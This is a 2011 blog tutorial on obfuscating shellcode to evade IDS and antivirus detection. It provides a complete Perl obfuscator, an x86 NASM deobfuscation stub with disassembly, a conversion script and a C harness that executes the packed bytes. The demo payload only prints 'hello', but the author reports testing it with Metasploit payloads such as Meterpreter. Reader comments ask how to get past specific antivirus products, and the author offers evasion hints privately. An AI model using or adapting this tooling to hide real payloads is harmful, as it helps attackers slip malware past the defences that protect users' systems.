Skip to content

Simple shellcode obfuscation

by foip on September 1st, 2011

1. Introduction

This article aims to provide you with the different steps needed to develop shellcode obfuscation techniques, and their respective deobfuscator assembly stubs. This should help you to learn a bit more about IDS and Anti-Virus evasion techniques, and more than that, to give you a useful template to create more advanced obfuscations stuffs.

Don’t be confused, we are not talking about shellcode “encoders” since we do neither modify the opcodes nor remove any bad characters. We will just hide the shellcode and – hopefully – break common shellcode patterns. It means that your initial shellcode must already be NULL free or some.

While obfuscating (or encoding) a shellcode with your own method will not help you to bypass all anti-virus software (thanks to sandbox-based AV), it is a useful step to achieve it (but this discussion is out of scope for the moment).

There are 3 main parts in this development:

  1. Obfuscate the Shellcode with a Perl script (or any other language). The result will print a shellcode in C syntax.
  2. Write the assembly stub, able to reverse the shellcode in its initial state, and start it.
  3. Tune the stub to make it reusable and put everything together.

1.2. Requirements:

  • A computer with an Operating System.
  • Basic C/C++ knowledge.
  • Scripting knowledge  such as Perl, Ruby, Python …
  • Basic Shellcode understandings.
  • A bit of Assembly knowledge or enough of motivation to break the ice.

2. Shellcode scrambling method (one over 0xffffffff)

The following picture illustrates the way we’ve obfuscated our Shellcode. We keep it simple for demonstration purpose.

Obfuscation

Junk bytes have been introduced between each byte of the initial shellcode, and the junk length is random too.

In order to be able to retrieve the location of the initial bytes at run-time (and so rebuild the initial shellcode), the junk length is stored right after the shellcode bytes as you can see in the previous picture.

The pros:

  • No way to recognize the initial shellcode since the bytes are totally flooded over a bunch of bytes, at random distances.
  • Easy to implement.

The cons:

  • The size of the new shellcode.

As usual, the final Shellcode will looks like this: { STUB } {OBFUSCATED SHELLCODE}

3. Practice

3.1. The obfuscation part

As previously written, we have developed a Perl script to generate the obfuscated version of the Shellcode. Feel free to use any other language if you are not familiar with Perl.

This is just a first version of the script which will print out the obfuscated version of the Shellcode, based on the rule explained above (see the previous picture). In a later step, we will adapt this script to insert (and tune) the assembly stub to the final shellcode, and permit its deobfuscation..

#!/usr/bin/perl -w
# ----------
# obf1.pl
# ----------

use strict;

# simple shellcode (print 'hello')
my $buf =
"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01" .
"\x59\xb2\x05\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8" .
"\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f";

#========================== CODE =============================

my $buf_length = do{length $buf};

# convert buf string into an array
my @buf_array = unpack 'a' x length $buf, $buf;

# random pool
my @rnd_steps=(1,2,3);
my @chars=('a'..'z','A'..'Z','0'..'9','_');

# final shellcode
my $final = "";

# init pseudo rnd generator
my $rnd=0;
srand(time);

# start obfuscation
for(my $i=0; $i< $buf_length ; $i++){

	# copy good shellcode byte into final buffer
	$final	.= chr(ord($buf_array[$i]));

	# get random from @rnd_step
	$rnd	= $rnd_steps[rand @rnd_steps];

	# append random number after the SC byte
	$final	.= pack('c', $rnd);

	# add 'random - 1' junk bytes
	for(my $p=1; $p < $rnd; $p++){
		$final .= $chars[rand @chars]; # RND
	}
}

# print final shellcode in C language
print "// NEW SHELLCODE\n";
print "unsigned char buf[] = ";
my $hex = unpack('H*', $final);
for (my $i = 0; $i < length $hex; $i+=2) {
	if($i % 15 eq 0){
		if($i eq 0)	{print "\n\"";}
		else		{print "\"\n\"";}
	}
	print "\\x" . substr $hex, $i, 2;
}
print "\";\n\n";

# print shellcode length (optional)
print "unsigned int buf_len = ". do{length $final} . ";\n";

Lets try:

[user@linux]$ ./obf1.pl
// NEW SHELLCODE
unsigned char buf[] =
"\xeb\x02\x33\x19\x01\x31\x03\x4f\x6e\xc0\x02\x48\x31\x01\xdb"
"\x02\x34\x31\x03\x53\x47\xd2\x03\x70\x56\x31\x01\xc9\x02\x48"
"\xb0\x02\x5f\x04\x01\xb3\x02\x68\x01\x02\x63\x59\x03\x6a\x4d"
"\xb2\x01\x05\x03\x76\x70\xcd\x02\x56\x80\x01\x31\x03\x33\x7a"
"\xc0\x02\x53\xb0\x03\x62\x52\x01\x01\x31\x02\x50\xdb\x02\x6d"
"\xcd\x01\x80\x01\xe8\x01\xe2\x02\x75\xff\x03\x67\x47\xff\x01"
"\xff\x01\x68\x02\x76\x65\x03\x5a\x45\x6c\x02\x53\x6c\x02\x4f"
"\x6f\x01";

unsigned int buf_len = 107;

As you can see:

  • the first byte is a valid shellcode byte (\xeb)
  • the second byte is the junk length before the next valid byte, and is chosen randomly (\x02)
  • the third byte is a random junk byte
  • the fourth byte is the second valid byte (\x19)

3.2. The deobfuscation stub

This section is probably a bit more interesting. Here we will manage the deobfuscation of the shellcode at run-time by writing a small assembly code.

;enc2.asm
[SECTION .text]
global _start
_start:
        jmp short ender ; push SC addre on the stack (MY_JMP_ENDER)

starter:

        xor eax, eax    ; clean up the registers
        xor ebx, ebx
        xor edx, edx
        xor ecx, ecx

        pop edx         ; get addr of shellcode (jmp short ender)
        push edx

        mov esi, edx    ; set SC addr
        mov edi, edx    ; set SC addr
        inc esi         ; point to the first dst position
        inc edi         ; point to the first rnd

        mov cl, 200     ; tmp loop counter (MY_CNT)

myloop:
        xor eax, eax
        xor ebx, ebx

        mov al, byte [edi]  ; read distance to next byte
        add eax, edi        ; eax = addr of the next valid byte

        mov bl, byte [eax]  ; bl = next valid byte of the shellcode
        mov byte [esi], bl  ; move it to the final position

        mov edi, eax        ;
        inc edi             ; edi = next distance
        inc esi             ; esi = next position for a valid byte

        loop myloop         ; loop

done:
        pop ecx             ; call shellcode
        call ecx            ;

        xor eax, eax        ; exit the shellcode (if it returns)
        mov al, 1           ;
        xor ebx,ebx         ;
        int 0x80            ;

ender:
        call starter  ; put the address of the string on the stack
        ;db THE_OBFUSCATED_SHELLCODE

Some explanations:

In starter section, we are resetting the registers, put the address of the shellcode into EDX, initiate ESI and EDI which will later be used to navigate and modify the shellcode, and set ECX to (for the moment) a random value (ECX is the loop counter). ECX will have to hold the real length of the initial shellcode, and will be updated later by the Perl script.

In myloop section, we simply parse the obfuscated shellcode, and move back the valid bytes to their initial positions.

In done section, we jump to the address of the shellcode.

ender section is the usual way to push the address of the shellcode onto the stack. During the call starter instruction, EIP register will be pushed on the top of the stack and will contains the address of the next instruction (which will be the first instruction of the shellcode).

Let’s compile our stub. Here we use nasm under Linux, but the stub will of course works under Windows too. After that, we dump the opcodes and check that everything is as expected.

[user@linux]$ nasm -f elf enc2.asm
[user@linux]$ ld -o enc2 enc2.o
[user@linux]$ objdump -d enc2

enc2:     file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
 8048060:	eb 2f                	jmp    8048091

08048062 :
 8048062:	31 c0                	xor    %eax,%eax
 8048064:	31 db                	xor    %ebx,%ebx
 8048066:	31 d2                	xor    %edx,%edx
 8048068:	31 c9                	xor    %ecx,%ecx
 804806a:	5a                   	pop    %edx
 804806b:	52                   	push   %edx
 804806c:	89 d6                	mov    %edx,%esi
 804806e:	89 d7                	mov    %edx,%edi
 8048070:	46                   	inc    %esi
 8048071:	47                   	inc    %edi
 8048072:	b1 c8                	mov    $0xc8,%cl

08048074 :
 8048074:	31 c0                	xor    %eax,%eax
 8048076:	31 db                	xor    %ebx,%ebx
 8048078:	8a 07                	mov    (%edi),%al
 804807a:	01 f8                	add    %edi,%eax
 804807c:	8a 18                	mov    (%eax),%bl
 804807e:	88 1e                	mov    %bl,(%esi)
 8048080:	89 c7                	mov    %eax,%edi
 8048082:	47                   	inc    %edi
 8048083:	46                   	inc    %esi
 8048084:	e2 ee                	loop   8048074

08048086 :
 8048086:	59                   	pop    %ecx
 8048087:	ff d1                	call   *%ecx
 8048089:	31 c0                	xor    %eax,%eax
 804808b:	b0 01                	mov    $0x1,%al
 804808d:	31 db                	xor    %ebx,%ebx
 804808f:	cd 80                	int    $0x80

08048091 :
 8048091:	e8 cc ff ff ff       	call   8048062

It is time to build the opcodes list (same as for a usual shellcode). I wrote this dirty AWK script, but choose the way you prefer.

#!/bin/sh
# convert-sc.sh
objdump -d $1 | awk -F '\t' '{printf $2}' | \
	awk 'BEGIN { cnt=0; print; printf "unsigned char buf[]=\n\""}
	     {
		x=0;
		while(x<NF){
			if(x % 15 == 0 && x !=0){ printf "\"\n\""}
			printf "\\x"$(x+1); x++; cnt++
		}
		print "\";\n\nLength: "cnt
	      }'

Then, we run it like this:

[user@linux]$ ./convert-sc.sh enc2

unsigned char buf[]=
"\xeb\x2f\x31\xc0\x31\xdb\x31\xd2\x31\xc9\x5a\x52\x89\xd6\x89"
"\xd7\x46\x47\xb1\xc8\x31\xc0\x31\xdb\x8a\x07\x01\xf8\x8a\x18"
"\x88\x1e\x89\xc7\x47\x46\xe2\xee\x59\xff\xd1\x31\xc0\xb0\x01"
"\x31\xdb\xcd\x80\xe8\xcc\xff\xff\xff";

Length: 54

Please welcome our new stub.

3.3. Tuning the assembly STUB

Great, we have our deobfucation code (section 3.2), ready to be prefixed to our obfuscated shellcode (section 3.1).

But, wait … We still need to update the loop counter (ECX) to the length of the initial shellcode.

3.3.1 Updating the counter loop (ECX)

We need to update the line 17 with the respective length of the initial shellcode.

Disassembly of section .text:

08048060 <_start>:
 8048060:	eb 2f                	jmp    8048091 <ender>

08048062 <starter>:
 8048062:	31 c0                	xor    %eax,%eax
 8048064:	31 db                	xor    %ebx,%ebx
 8048066:	31 d2                	xor    %edx,%edx
 8048068:	31 c9                	xor    %ecx,%ecx
 804806a:	5a                   	pop    %edx
 804806b:	52                   	push   %edx
 804806c:	89 d6                	mov    %edx,%esi
 804806e:	89 d7                	mov    %edx,%edi
 8048070:	46                   	inc    %esi
 8048071:	47                   	inc    %edi
 8048072:	b1 c8                	mov    $0xc8,%cl

08048074 <myloop>:
 8048074:	31 c0                	xor    %eax,%eax
 8048076:	31 db                	xor    %ebx,%ebx
 8048078:	8a 07                	mov    (%edi),%al
 804807a:	01 f8                	add    %edi,%eax
 804807c:	8a 18                	mov    (%eax),%bl
 804807e:	88 1e                	mov    %bl,(%esi)
 8048080:	89 c7                	mov    %eax,%edi
 8048082:	47                   	inc    %edi
 8048083:	46                   	inc    %esi
 8048084:	e2 ee                	loop   8048074 <myloop>

08048086 <done>:
 8048086:	59                   	pop    %ecx
 8048087:	ff d1                	call   *%ecx
 8048089:	31 c0                	xor    %eax,%eax
 804808b:	b0 01                	mov    $0x1,%al
 804808d:	31 db                	xor    %ebx,%ebx
 804808f:	cd 80                	int    $0x80

08048091 <ender>:
 8048091:	e8 cc ff ff ff       	call   8048062 <starter>

Since we’d like to avoid NULL byte into our stub, we can’t use instructions such as:

mov ECX, 178

since it will produce null bytes. ex:

 8048072:    b9 b2 00 00 00           mov    $0xb2,%ecx

It makes sense that we need to use a 8 bits move like:

mov CL, 178

which is produce the opcodes \xb1 and \xb2 as seen below:

 8048072:    b1 b2                    mov    $0xb2,%cl

However, if the shellcode length is greater than 255, we must move it into a 16 bits register like:

mov CX, 278

which produce the following opcodes:

 8048072:    66 b9 16 01              mov    $0x116,%cx

As you see, we need four opcodes to update CX register, instead of two to update CL. Is it a problem ? Kind of. The length of the stub is therefore modified and the relative addresses used within JMP and CALL instructions have to be updated too.

3.3.2. Updating JMP and CALL addresses

As explained in the previous section, lines 4 and 40 contain relative addresses which will change based on the length of the stub.

Disassembly of section .text:

08048060 <_start>:
 8048060:	eb 2f                	jmp    8048091 <ender>

08048062 <starter>:
 8048062:	31 c0                	xor    %eax,%eax
 8048064:	31 db                	xor    %ebx,%ebx
 8048066:	31 d2                	xor    %edx,%edx
 8048068:	31 c9                	xor    %ecx,%ecx
 804806a:	5a                   	pop    %edx
 804806b:	52                   	push   %edx
 804806c:	89 d6                	mov    %edx,%esi
 804806e:	89 d7                	mov    %edx,%edi
 8048070:	46                   	inc    %esi
 8048071:	47                   	inc    %edi
 8048072:	b1 c8                	mov    $0xc8,%cl

08048074 <myloop>:
 8048074:	31 c0                	xor    %eax,%eax
 8048076:	31 db                	xor    %ebx,%ebx
 8048078:	8a 07                	mov    (%edi),%al
 804807a:	01 f8                	add    %edi,%eax
 804807c:	8a 18                	mov    (%eax),%bl
 804807e:	88 1e                	mov    %bl,(%esi)
 8048080:	89 c7                	mov    %eax,%edi
 8048082:	47                   	inc    %edi
 8048083:	46                   	inc    %esi
 8048084:	e2 ee                	loop   8048074 <myloop>

08048086 <done>:
 8048086:	59                   	pop    %ecx
 8048087:	ff d1                	call   *%ecx
 8048089:	31 c0                	xor    %eax,%eax
 804808b:	b0 01                	mov    $0x1,%al
 804808d:	31 db                	xor    %ebx,%ebx
 804808f:	cd 80                	int    $0x80

08048091 <ender>:
 8048091:	e8 cc ff ff ff       	call   8048062 <starter>

If you do the test at home, you will see that:

  • if the loop counter need a 8 bits register, then:
    • line 4 = \xeb\x2f
    • line 40 (two first opcodes) = \xe8\xcc
  • if the loop counter need a 16 bits register, then:
    • line 4 = \xeb\x31
    • line 40 (two first opcodes) = \xe8\xca

3.3.3. My god, a NULL byte

A last problem that we could have, is to obfuscate a shellcode where the length is a multiple of 256. Indeed, in order to store 256 (or 512, 768, 1024, …), we need a 16bits register.

See what happen:

mov CX, 256
8048072:    66 b9 00 01              mov    $0x100,%cx

=> null byte.

To fix this issue, when the length of the initial shellcode is a multiple of 256, lets add a NOP instruction (\x90) to the end of the Shellcode, and that way, remove the null byte as seen in the following output:

mov CX, 257
8048072:    66 b9 01 01              mov    $0x101,%cx

4. Putting everything together

If you are still awake, here is the updated version of the Perl script, which is managing the loop, jmp and call updates.

Note that the dynamic values of the stub (MOV ECX, JMP and CALL) have been replaced by standards strings, and are updated at runtime by the Perl script.

The changes have been highlighted.

#!/usr/bin/perl -w
# ---------
# obf2.pl
# ---------

use strict;

# simple shellcode (print 'hello')
my $buf =
"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01" .
"\x59\xb2\x05\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8" .
"\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f";

#========================== CODE =============================

my $mydecoder =
"MY_JMP_ENDER" . "\x31\xc0\x31\xdb\x31\xd2\x31\xc9\x5a\x52\x89\xd6\x89\xd7\x46\x47" .
"MY_CNT" . "\x31\xc0\x31\xdb\x8a\x07\x01\xf8\x8a\x18\x88\x1e\x89\xc7\x47\x46\xe2\xee" .
"\x59\xff\xd1\x31\xc0\xb0\x01\x31\xdb\xcd\x80" . "MY_JMP_STARTER" . "\xff\xff\xff";

my $buf_length = do{length $buf};

print "// initial Shellcode length: " . $buf_length . "\n\n";

# IF buf_length is a multiple of 256, we will get NULL bytes whitin MY_CNT.
# so, just add a NOP instruction at the end
if($buf_length % 256 eq 0 ){
	print "// length is a multiple of '256'. Add a NOP.";
	$buf .= "\x90";
}

# Update decoder values
my $mov_cl		= "\xb1";	# loop counters <= 8bits
my $mov_cx		= "\x66\xb9";	# loop counter   > 8bits
my $jmp_ender_8bits	= "\xeb\x2f";	# jmp ender (<= 8bits)
my $jmp_ender_16bits	= "\xeb\x31";	# jmp ender (> 8bits)
my $jmp_starter_8bits	= "\xe8\xcc";	# jmp starter (<= 8bits)
my $jmp_starter_16bits	= "\xe8\xca";	# jmp starter (> 8bits)

if($buf_length < 256 ){
	# set ECX counter
	$mov_cl .= pack('W', int($buf_length));
	$mydecoder =~ s/MY_CNT/$mov_cl/;

	# replace JMP
	$mydecoder =~ s/MY_JMP_ENDER/$jmp_ender_8bits/;
	$mydecoder =~ s/MY_JMP_STARTER/$jmp_starter_8bits/;
}else{

	# set ECX counter
	$mov_cx .= pack('S', int($buf_length));
	$mydecoder =~ s/MY_CNT/$mov_cx/;

	# replace JMP
	$mydecoder =~ s/MY_JMP_ENDER/$jmp_ender_16bits/;
	$mydecoder =~ s/MY_JMP_STARTER/$jmp_starter_16bits/;
}

# convert buf string into an array
my @buf_array = unpack 'a' x length $buf, $buf;

# random pool
my @rnd_steps=(1,2,3);
my @chars=('a'..'z','A'..'Z','0'..'9','_');

# final shellcode
my $final = "";

# init pseudo rnd generator
my $rnd=0;
srand(time);

# start obfuscation
for(my $i=0; $i< $buf_length ; $i++){

	# copy good shellcode byte into final buffer
	$final	.= chr(ord($buf_array[$i]));

	# get random from @rnd_step
	$rnd	= $rnd_steps[rand @rnd_steps];

	# append random number after the SC byte
	$final	.= pack('c', $rnd);

	# add 'random - 1' junk bytes
	for(my $p=1; $p < $rnd; $p++){
		$final .= $chars[rand @chars]; # RND
	}
}

# prefix shellcode with the decoder
$final = $mydecoder . $final ;

# print final shellcode in C language
print "// STUB + SHELLCODE\n";
print "unsigned char buf[] = ";
my $hex = unpack('H*', $final);
for (my $i = 0; $i < length $hex; $i+=2) {
	if($i % 15 eq 0){
		if($i eq 0)	{print "\n\"";}
		else		{print "\"\n\"";}
	}
	print "\\x" . substr $hex, $i, 2;
}
print "\";\n\n";

# print shellcode length (optional)
print "unsigned int buf_len = ". do{length $final} . ";\n";

The final shellcode is now:

// STUB + SHELLCODE
unsigned char buf[] =
"\xeb\x2f\x31\xc0\x31\xdb\x31\xd2\x31\xc9\x5a\x52\x89\xd6\x89"
"\xd7\x46\x47\xb1\x25\x31\xc0\x31\xdb\x8a\x07\x01\xf8\x8a\x18"
"\x88\x1e\x89\xc7\x47\x46\xe2\xee\x59\xff\xd1\x31\xc0\xb0\x01"
"\x31\xdb\xcd\x80\xe8\xcc\xff\xff\xff\xeb\x03\x36\x4d\x19\x03"
"\x48\x4b\x31\x03\x4d\x75\xc0\x02\x55\x31\x02\x48\xdb\x03\x72"
"\x66\x31\x03\x71\x68\xd2\x01\x31\x03\x76\x70\xc9\x03\x6f\x77"
"\xb0\x01\x04\x02\x58\xb3\x02\x54\x01\x02\x6d\x59\x03\x6e\x34"
"\xb2\x03\x37\x74\x05\x02\x33\xcd\x02\x72\x80\x03\x52\x52\x31"
"\x01\xc0\x03\x33\x31\xb0\x02\x6c\x01\x01\x31\x01\xdb\x02\x50"
"\xcd\x03\x5a\x6f\x80\x02\x6a\xe8\x01\xe2\x01\xff\x03\x38\x4c"
"\xff\x03\x65\x4f\xff\x01\x68\x02\x78\x65\x03\x75\x53\x6c\x02"
"\x31\x6c\x03\x4d\x44\x6f\x03\x73\x64";

unsigned int buf_len = 174;

5. Testing the new shellcode

We’ve made some tests with various Metasploit payloads (Meterpreter, DialogBox, Cmd, ..) to ensure the reliability of the produced shellcode. But to preserve your bandwidth, we will limit the demonstration to this simple “Hello” shellcode, used throughout this article, and generated in the previous section.

/*************/
/* sc-test.c */
/*************/

// STUB+ SHELLCODE
unsigned char buf[] =
"\xeb\x2f\x31\xc0\x31\xdb\x31\xd2\x31\xc9\x5a\x52\x89\xd6\x89"
"\xd7\x46\x47\xb1\x25\x31\xc0\x31\xdb\x8a\x07\x01\xf8\x8a\x18"
"\x88\x1e\x89\xc7\x47\x46\xe2\xee\x59\xff\xd1\x31\xc0\xb0\x01"
"\x31\xdb\xcd\x80\xe8\xcc\xff\xff\xff\xeb\x03\x36\x4d\x19\x03"
"\x48\x4b\x31\x03\x4d\x75\xc0\x02\x55\x31\x02\x48\xdb\x03\x72"
"\x66\x31\x03\x71\x68\xd2\x01\x31\x03\x76\x70\xc9\x03\x6f\x77"
"\xb0\x01\x04\x02\x58\xb3\x02\x54\x01\x02\x6d\x59\x03\x6e\x34"
"\xb2\x03\x37\x74\x05\x02\x33\xcd\x02\x72\x80\x03\x52\x52\x31"
"\x01\xc0\x03\x33\x31\xb0\x02\x6c\x01\x01\x31\x01\xdb\x02\x50"
"\xcd\x03\x5a\x6f\x80\x02\x6a\xe8\x01\xe2\x01\xff\x03\x38\x4c"
"\xff\x03\x65\x4f\xff\x01\x68\x02\x78\x65\x03\x75\x53\x6c\x02"
"\x31\x6c\x03\x4d\x44\x6f\x03\x73\x64";

int main(int argc, char **argv){
        int (*func)();
        func = (int (*)()) buf;
        (int)(*func)();
}

Compile sc-test.c and run it:

[user@linux]$ gcc -o sc-test sc-test.c
[user@linux]$ ./sc-test
hello
[user@linux]$

Great! Let’s print Hello over the world ! ;-)

Hope you enjoy.

1 Star2 Stars3 Stars4 Stars5 Stars (6 votes, average: 5.00 out of 5)
Loading...

© 2011 – 2013, foip. All rights reserved.

From → Hacking, Shellcoding

18 Comments
  1. Iain permalink

    What a fascinating and thorough review of this obfuscation process. I’ve seen a few before, but they’ve relied upon XOR and they haven’t been explained so clearly.

    I have some benign Windows shellcode (that displays a messagebox) and I was very disheartened to see that my AVG picks it up when it’s been through your obfuscator/deobfuscator. I assume that it’s picking up the deobfuscation code because, as I said, there is nothing malicious in the shellcode. I wondered if it *might* have been a coincidence so ran the perl script several times to generate different obfuscated shellcode but the response was the same each time.

    Your article his has really sparked my interest in this topic and I’m keen to learn more!

    • foip permalink

      Hey,
      Thanks Iain.

      You should have a different shellcode each time you run the Perl script (excepted for the stub part, of course). “srand(time)” should initialize the pseudo random generator. Maybe you should try to play with srand() in a test script to validate this.

      AVG is a pretty good AV which use sandbox/code-emulation. It means that even you apply 100 encoders to your shellcode, it will catch it. I will give you the way offline ;)

      Thank you for reading this blog.

      Foip

  2. Iain permalink

    Thank you for the prompt response.

    I realise that the obfuscated shellcode will change each time the script is run, hence I repeated the process a number of times. I thought it was a coincidence that something in the first obfuscated shellcode just happened to coincide with one of the AVG signatures. I repeated it 5 or 6 times and it always reported the same malware, hence I came to the conclusion that it was the deobfuscator that was being picked up.

    Keep up the good work with your educational blog entries!

  3. rescue permalink

    Hi foip, I must agree with Iain that this write up is awesome. I have been studying all things shellcode for many months and this is the BEST explanation I have seen. Please keep writing. You have a great ability to teach complex matters.

    Regards.
    Rescue.

  4. bob permalink

    great article !

  5. icx permalink

    Awesome blog!
    Very valueable information here ; )
    Hope there is more stuff coming up..

    Thx for sharing!

  6. sao zumin permalink

    hi FOIP,

    Thanks for a wonderful tut. if i may ask have these been tried upon win7 platform and on versions of quickheal

  7. sola permalink

    thanks a lot.
    It was awesome for me to get the idea how to bypass av

  8. Hi Foid, I tried the payload encoder using Metasploit, but my Nod eset 32 (Installed in windows 7) always detected it as a troyan. I tried three times , but it always failed to pass the antivirus. I noticed than only the “Payload: encode (new size: X)”, varied in each try. Any idea?

    Thanks a lot,

    Al

    • foip permalink

      Hi,

      Are you referring this post http://funoverip.net/2012/02/antivirus-sandbox-evasion-part3/ (ultimate payload) ?
      Since the tool has been published, is it normal than it is now detected by AV :)
      See comments from the initial post, there are some hints. For most AV, it’s only a matter of recompiling the tool under Visual Studio 2008, and adding some junk C/C++ to make the final binary look different.
      Cheers.

      • Hi, Foid. Thanks for your answers. Yes, I was referring to the post you mentioned.

        On the other hand, I took your advice, but I used visual studio express 2012, getting the following issues:

        Error 1 error LNK2019: unresolved external symbol __imp__closesocket@4 referenced in function “int __cdecl do_socket_connect_445(void)” (?do_socket_connect_445@@YAHXZ)
        Error 2 error LNK2019: unresolved external symbol __imp__connect@12 referenced in function “int __cdecl do_socket_connect_445(void)” (?do_socket_connect_445@@YAHXZ)
        Error 3 error LNK2019: unresolved external symbol __imp__htons@4 referenced in function “int __cdecl do_socket_connect_445(void)” (?do_socket_connect_445@@YAHXZ)
        Error 4 error LNK2019: unresolved external symbol __imp__inet_addr@4 referenced in function “int __cdecl do_socket_connect_445(void)” (?do_socket_connect_445@@YAHXZ)
        Error 5 error LNK2019: unresolved external symbol __imp__shutdown@8 referenced in function “int __cdecl do_socket_connect_445(void)” (?do_socket_connect_445@@YAHXZ)
        Error 6 error LNK2019: unresolved external symbol __imp__socket@12 referenced in function “int __cdecl do_socket_connect_445(void)” (?do_socket_connect_445@@YAHXZ)
        Error 7 error LNK2019: unresolved external symbol __imp__WSAStartup@8 referenced in function “int __cdecl do_socket_connect_445(void)” (?do_socket_connect_445@@YAHXZ)
        Error 8 error LNK2019: unresolved external symbol __imp__WSACleanup@0 referenced in function “int __cdecl do_socket_connect_445(void)” (?do_socket_connect_445@@YAHXZ)
        Error 9 error LNK1120: 8 unresolved externals

        For error 1 to 8, file related “socket.obj”
        For error 9 file related ultimate-payload-template.exe

        Could you please tell me if I need to use Visual Studio 2008 instead of this one in order to avoid these mistakes?

        PD: Do you prefer I move these entries to the right post?

        Regards,

        Al

        • foip permalink

          You must link ws2_32.. Please use Google for basic compilation issues.
          PS: Should work on 2012 too.
          Regards.

        • truk44 permalink

          use:

          #pragma comment(lib, “ws2_32.lib”)

          :-)

  9. rathindranath karmakar permalink

    sir thanks for the detailed example but when I execute ld… after nasm it gives a bit64 error my system is rhel5.4 64 bit please help me

  10. supriyo mukherjee permalink

    thanks how did you convert print hello to $buf =
    “\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01” .
    “\x59\xb2\x05\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8” .
    “\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f”;

    the rest is clear

    • foip permalink

      I simply write a ‘print hello’ in assembly, compile it, and then extract the opcodes using the “convert-sc.sh” script, provided in the article.

Trackbacks & Pingbacks

  1. binary tools by ontrif - Pearltrees

Leave a Reply

Note: XHTML is allowed. Your email address will never be published.

Subscribe to this comment feed via RSS

© 2010-2024 Fun Over IP All Rights Reserved -- Copyright notice by Blog Copyright